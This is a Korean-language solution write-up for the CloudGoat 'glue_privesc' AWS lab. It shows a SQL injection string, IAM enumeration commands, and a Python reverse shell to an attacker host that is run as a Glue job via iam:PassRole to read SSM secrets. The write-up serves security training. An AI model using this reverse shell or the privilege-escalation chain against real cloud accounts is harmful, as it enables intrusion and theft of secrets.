[Cloudgoat] Scenario "glue_privesc" - solution
시나리오 개요
There is an environment that is implemented as shown in the schematic drawing below. Glue service manager will accidentally upload their access keys through the web page. The manager hurriedly deleted the key from s3, but does not recognize that the key was stored in the DB.
Find the manager's key and access the ssm parameter store with a vulnerable permission to find the parameter value named “flag”.
> Glue Manager가 실수로 AccessKey를 웹을 통해 업로드를 했고, s3 버킷에 업로드가 되었다고 한다. 이후 Manager는 버킷에서 그 Key를 삭제 처리했다. But, Glue ETL 작업을 통해 DB에 업로드된 Key에 대해서는 인지하지 못했다고 한다.
시나리오 목표
SSM Parameter Store에 저장된 Secret String 탈취
시나리오 세팅
./cloudgoat.py create glue_privesc
웹 URL이 하나 주어진다.
+) 현재 이 시나리오에 대해 몇가지 이슈가 존재
1. RDS가 지원 안하는 postgresql 버전때문에 시나리오 create가 안됨
- 그나마 최신으로 올려줌 (engine_version = "16.3", parameter_group_name = "default.postgres16")
2. postgresql 버전을 올렸더니, 인스턴스 사용자데이터로 insert_data.sql이 실행 안댐
- Userdata로 설치되는 psql CLI 버전이 낮음 (<10)
- 임시로 amazon-linux-extras install postgresql10 설치
- psql 커맨드 실행가능 (-f insert_data.sql)
- DB에 insert_data.sql 넣으면 설정 완료
Solution
1. Web 분석
주어진 웹 URL로 접근하면 Order에 대한 데이터와 그래프를 출력하는 페이지를 확인할 수 있다.
더불어, 파일을 업로드하는 구간이 존재한다.
/upload를 통해 버킷으로 업로드된 csv 파일을 Glue가 ETL 작업을 통해 RDS에 insert를 해주는 방식임을 확인할 수 있다.
앞서 문제 개요에 따르면, Manager가 실수로 AccessKey를 포함된 데이터를 버킷에 업로드했고, Glue가 ETL 작업으로 DB에 그 값을 insert해준 것을 파악하지 못해, DB에 Key가 남아있음을 알 수 있다.
DB에 남아있는 AccessKey를 찾아보도록 한다.
2. Exploit (SQL-i)
시나리오 생성 후 주어진 정보는 웹 URL밖에 없기에, 웹을 더 탐색해본다.
사용자가 데이터를 입력하는 구간은 upload 외에 main에 order_data 파라미터를 받는 구간이 존재한다.
이 구간에 대해 SQL Injection을 시도하면, 공격이 유효한 것을 볼 수 있다.
selected_date='+or+1%3d1+--+
3. User (Glue Manager) 탐색
# User에 연결된 inline Policy 확인
aws iam list-user-policies --user-name [user명] --profile glue
# User에 연결된 Managed Policy 확인
aws iam list-attached-user-policies --user-name [user명] --profile glue
# 특정 Policy 정보 확인 (version 정보 확인)
aws iam get-policy --policy-arn [policy ARN]--profile glue
# 특정 version의 Policy 내용 확인
aws iam get-policy-version --policy-arn [policy ARN] --version-id v1 --profile glue
먼저, 획득한 Credential(이하 glue Manager)은 User임을 볼 수 있다.
glue Manager에는 인라인 Policy가 하나 연결되어있는 것을 확인할 수 있다.
연결된 이 인라인 Policy를 확인하면, 탈취한 glue Manager는 iam 작업을 포함한 glue 작업(CreateJob, CreateTrigger, StartJobRun, UpdateJob)을 수행할 수 있는 것을 알 수 있다.
그리고 ListBucket으로 확인한 bucket은 웹에서 업로드한 csv 파일이 저장되는 것을 알 수 있다. 즉, 이 버킷에서 Glue
4. Exploit (Glue Job)
업로드된 파일을 바탕으로 Glue Job이 수행되는 것을 확인했다.
우리가 가진 User는 Glue의 CreateJob, StartJobRun을 수행할 수 있는데, 이를 바탕으로 임의의 Job을 생성해서 실행까지 시킬 수 있다.
Glue Job의 실행
Glue의 Job은 Script 형식으로 구성되어, 서버리스 Apache Spark 환경을 제공한다.
즉, 사용자가 관리할 필요없는 Amazon 관리의 Spark 환경에서 Job이 수행된다는 것이다.
실행되는 Job은 지정된 IAM Role을 통해 AWS 리소스에 접근할 수 있도록 권한을 부여한다.
이 점을 이용하면, 새로운 Job을 생성하되 우리의 타겟인 SSM에 접근가능한 Role을 연결하면?
Job을 통해 SSM에 접근할 수 있는 것이다.
이러한 Exploit은 아래 문서에 정리되어있는 것을 볼 수 있다.
여기에서는 공격자 서버를 생성하고 Job 실행환경에서 연결하는 리버스쉘 방식을 사용하기로 했다.
(SSM 파라미터를 가져오고, 웹 훅 등으로 결과값을 전송하는 스크립트를 작성하는 방식도 가능할 것이다.)
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("[Attacker's server]",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
위와 같은 reverse shell 커넥션용 파일을 업로드하면 Glue Job을 생성할 준비가 된다.
이후 공격자 서버에서 포트를 열고 대기
이제 이 shell 파일을 Glue Job으로 만든 후, 실행을 시켜주어야한다.
CreateJob을 위해서 Glue Job의 Role을 설정해주어야하는데, Role 목록을 확인해보면 아래와 같이 SSM 서비스에 접근할 수 있는 Role을 찾을 수 있다.
이제 shell파일과 SSM Role을 바탕으로 CreateJob과 StartJobRun을 실행한다.
glue Manager User에 iam:PassRole이 할당되어있기에 CreateJob에 Role을 지정할 수 있다.
Spark 환경으로부터 reverse shell이 연결됨을 확인할 수 있다. (접속IP가 웹 인스턴스와 다른 것을 확인)
연결된 세션에서는 앞서 CreateJob의 지정한 Role(SSM과 S3에 대한 접근권한)이 연결되어있는 것을 볼 수 있다.
5. Flag 획득
Job에 연결된 Role을 통해 SSM 파라미터 스토어에 접근
시나리오 정리
./cloudgoat.py destroy glue_privesc